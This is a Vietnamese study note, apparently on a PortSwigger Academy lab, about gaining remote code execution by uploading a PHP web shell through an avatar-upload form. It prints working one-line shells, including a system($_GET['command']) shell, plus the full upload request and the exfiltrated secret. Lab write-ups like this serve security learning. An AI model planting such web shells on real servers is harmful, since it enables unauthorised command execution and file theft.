Nếu server cho phép upload các server-side script chẳng hạn như PHP, Java hoặc Python và được cấu hình để thực thi chúng thì chúng ta có thể upload web shell để thực thi lệnh tùy ý.

Ví dụ, web shell sau cho phép đọc nội dung của tập tin bất kỳ ở trong hệ thống tập tin:

<?php echo file_get_contents('/path/to/target/file'); ?>

Việc gửi request đến web shell sẽ khiến cho nó được thực thi và nội dung của tập tin /path/to/target/file sẽ được gửi cho client thông qua response.

Một web shell khác linh hoạt hơn cho phép thực thi những câu lệnh tùy ý truyền vào query param command:

<?php echo system($_GET['command']); ?>

Request thực thi lệnh id:

GET /example/exploit.php?command=id HTTP/1.1

Lab: Remote Code Execution via Web Shell Upload

Mô tả lab:

  • Chức năng upload hình ảnh có lỗ hổng do nó không thực hiện validate các thuộc tính và nội dung của tập tin trước khi lưu vào hệ thống tập tin.
  • Mục tiêu là upload một web shell đơn giản được viết bằng PHP để đọc nội dung của tập tin /home/carlos/secret.
  • Tài khoản được cung cấp là wiener:peter.

Sử dụng web shell sau:

<?php echo file_get_contents('/home/carlos/secret'); ?>

Request upload file:

POST /my-account/avatar HTTP/2
Host: 0a8b00cd04ea3933873226db00ab001b.web-security-academy.net
Cookie: session=HZAmDpTn6ODu6WFKxrMWiG82w3CwR0L4
Content-Length: 477
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="124", "Microsoft Edge";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://0a8b00cd04ea3933873226db00ab001b.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryALBNeic039UrpAMK
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a8b00cd04ea3933873226db00ab001b.web-security-academy.net/my-account
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Priority: u=0, i
 
------WebKitFormBoundaryALBNeic039UrpAMK
Content-Disposition: form-data; name="avatar"; filename="webshell.php"
Content-Type: application/octet-stream
 
<?php echo file_get_contents('/home/carlos/secret'); ?>
------WebKitFormBoundaryALBNeic039UrpAMK
Content-Disposition: form-data; name="user"
 
wiener
------WebKitFormBoundaryALBNeic039UrpAMK
Content-Disposition: form-data; name="csrf"
 
T162wuou9zbsi08FUDwuSpyVNgnEcLOE
------WebKitFormBoundaryALBNeic039UrpAMK--
 

Response:

HTTP/2 200 OK
Date: Wed, 24 Apr 2024 05:08:22 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 133
 
The file avatars/webshell.php has been uploaded.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>

Đường dẫn của file có ở trong endpoint /my-account:

<p>
	<img src="/files/avatars/webshell.php" class="avatar">
</p>

Truy cập vào endpoint /files/avatars/webshell.php để thực thi web shell, ta nhận được response như sau:

HTTP/2 200 OK
Date: Wed, 24 Apr 2024 05:10:43 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 32
 
tdcGYmp67IsfXFSsNBXacR0JAtb6H5hs
list
from outgoing([[Port Swigger - Exploiting Unrestricted File Uploads to Deploy a Web Shell]])
sort file.ctime asc

Resources